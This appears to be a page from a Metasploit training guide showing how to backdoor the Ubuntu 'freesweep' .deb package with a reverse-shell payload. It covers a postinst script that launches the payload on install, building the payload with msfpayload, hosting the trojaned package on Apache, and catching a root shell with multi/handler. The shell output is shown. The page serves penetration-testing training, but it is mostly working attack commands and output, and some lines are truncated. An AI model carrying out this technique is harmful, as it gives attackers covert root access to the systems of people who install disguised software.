metasploit unleashed mastering the framework

Search Go Search

# Binary Linux Trojan

In order to demonstrate that client side attacks and trojans are not exclusive to the Windows world, we will package a Metasploit payload in with an Ubuntu deb package to give us a shell on Linux. An excellent video was made by Redmeat_uk demonstrating this technique that you can view at http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx

We first need to download the package that we are going to infect and move it to a temporary working directory. In our example, we will use the package 'freesweep', a text-based version of Mine Sweeper.

```
root@kali:~# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
...snip...
root@kali:~# mkdir /tmp/evil
root@kali:~# mv /var/cache/apt/archives/freesweep_0.90-1_i38
root@kali:~# cd /tmp/evil/
root@kali:/tmp/evil#
```

Next, we need to extract the package to a working directory and create a DEBIAN directory to hold our additional added "features".

```
root@kali:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work
root@kali:/tmp/evil# mkdir work/DEBIAN
```

In the 'DEBIAN' directory, create a file named 'control' that contains the following:

Extended Usage

» Metasploit GUIs

About The Authors

Post Module Reference

Auxiliary Module Reference

```
root@kali:/tmp/evil/work/DEBIAN# cat control
Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper ga
one tries to find all the mines without igniting any, based
by the computer. Unlike most implementations of this game, F
works in any visual text display - in Linux console, in an x
most text-based terminals currently in use.
```

We also need to create a post-installation script that will execute our binary. In our 'DEBIAN', we'll create a file named 'postinst' that contains the following:

```
root@kali:/tmp/evil/work/DEBIAN# cat postinst
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/fr
```

Now we'll create our malicious payload. We'll be creating a reverse shell to connect back to us named 'freesweep_scores'.

```
root@kali:~# msfpayload linux/x86/shell/reverse_tcp LHOST=19
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.1.101,LPORT=443
```

We'll now make our post-installation script executable and build our new package. The built file will be named 'work.deb' so we will want to change that to 'freesweep.deb' and copy the package to our web root directory.

```
root@kali:/tmp/evil/work/DEBIAN# chmod 755 postinst
root@kali:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/
dpkg-deb: building package `freesweep' in `/tmp/evil/work.de
root@kali:/tmp/evil# mv work.deb freesweep.deb
root@kali:/tmp/evil# cp freesweep.deb /var/www/
```

If it is not already running, we'll need to start the Apache web server.

```
root@kali:/tmp/evil# service apache2 start
```

We will need to set up the Metasploit multi/handler to receive the incoming connection.

```
root@kali:~# msfcli exploit/multi/handler PAYLOAD=linux/x86/
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
```

On our Ubuntu victim, we have somehow convinced the user to download and install our awesome new game.

```
ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb

ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb
```

As the victim installs and plays our game, we have received a shell!

```
[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.1.101:443 -> 192

ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6
inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:49 errors:0 dropped:0 overruns:0 frame:0
TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)
Interrupt:17 Base address:0x1400
...snip...

hostname
ubuntu
id
uid=0(root) gid=0(root) groups=0(root)
```

Client Side Attacks > Binary Payloads > Binary Linux Trojan

Binary Linux Trojan